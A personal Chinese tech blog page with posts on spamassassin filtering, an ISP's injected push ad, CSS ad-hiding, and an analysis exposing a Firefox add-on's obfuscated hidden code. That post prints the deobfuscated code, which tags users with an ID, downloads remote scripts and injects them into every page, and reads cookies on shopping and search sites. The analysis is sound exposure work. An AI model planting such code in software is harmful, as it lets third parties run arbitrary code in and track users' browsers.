1
10
2016
3

配置 spamassassin 来过滤垃圾邮件

虽然 GMail 的垃圾邮件过滤功能十分强大,误判率很低。但是我另有使用网易的邮件服务的域名邮箱,屡次教它哪些是垃圾邮件却依然不奏效。于是在本地配置一下 spamassassin 好了。

安装。在 Arch Linux 上这样子:

sudo pacman -S spamassassin
sudo sa-update

教学。之前就计划用 spamassassin,所以预先收集了不少垃圾邮件样本。喂给 sa-learn 学习一下:

sa-learn --spam --mbox < ~/.Mail/spam

过滤。编辑 ~/.procmailrc 配置文件,让 procmail 将邮件交给 spamassassin 检查,如果判定为垃圾邮件就放到特定的邮箱中:

:0fw: spamassassin.lock
* < 256000
| /usr/bin/vendor_perl/spamassassin

:0:
* ^X-Spam-Status: Yes
autospam

完成。其实挺简单的。

8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

6
15
2010
5

垃圾武汉电信换广告了

几天没见着这样的推送广告了,现在终于知道为什么了——

整页被电信替换了

网页源代码如下:

<html><head><!--title>... 信息推送,请等候 30 秒,或按刷新键继续 ...</title--></head><script language=JScript><!-- function killErrors(){return true;} window.onerror = killErrors; --></script><frameset rows=*><frame src=http://www.wuhan.net.cn/2010/dx/201005273/2mkd.html noresize></frameset></html>
Category: 反广告 | Tags: 反广告 垃圾电信
5
6
2010
2

去掉 WebQQ 和 163 邮箱中讨厌的 UI 元素

这两天 WebQQ 的右上角又出现了红色的文字——“参与WebQQ知识问答,100Q币等你拿”。本以为过段时间它会消失的,结果到现在依然还在。

这红色的文字甚是碍眼,于是它享受了和163邮箱里的红字广告和“安全系数低”一样的待遇——被display:none了。下面是设置方法,前提当然是使用配置性强的火狐浏览器了。

首先确定 CSS 选择器。这个打开 Firebug 看吧。要写多点以免把其它网页的某些元素给选中了。也许可以指定当 URL 匹配时才匹配,但我还不会。我使用的选择器是:

#webqq_top > .top_right > .right_option > a[target=_blank]

选好后我使用 Firebug 的插件 Firefinder 确定了下正确性。毕竟我对 CSS 的高级点的选择器还不熟,没太多信心。要测试效果那可是要重启浏览器滴~

然后打开火狐的个性化配置文件<profile_dir>/chrome/userContent.css。这个 CSS 文件会应用于每个网页。(另外还有个userChrome.css文件是针对浏览器自身的。)在此文件中把那个元素隐藏起来就可以了 :-)

/*
 * WebQQ 讨厌的红色调查/问答链接
 */
#webqq_top > .top_right > .right_option > a[target=_blank] {
  display:none!important; /* !important 是必须的,提高该规则的优先级 */
}

在这个文件里面,还有我为屏蔽 163 邮箱里的红字而写的另外两条 CSS 规则:

/* 
 * 网易邮箱 3.5:不要显示“安全系数低”
 */
a#aWelcomeSecurity0 {
  display:none!important;
}
/*
 * 还有广告
 */
div.links > div.chl > a:last-child {
  display:none!important;
}

一点题外话:继发现网易邮箱不能发送纯文本邮件后,今又确认它每次都把 Google Group 的更新邮件给我扔到垃圾邮件里,太过份了。还是 Gmail 好啊!

Category: 火狐 | Tags: 火狐 css 反广告

Mastodon | Theme: Aeros 2.0 by TheBuckmaker.com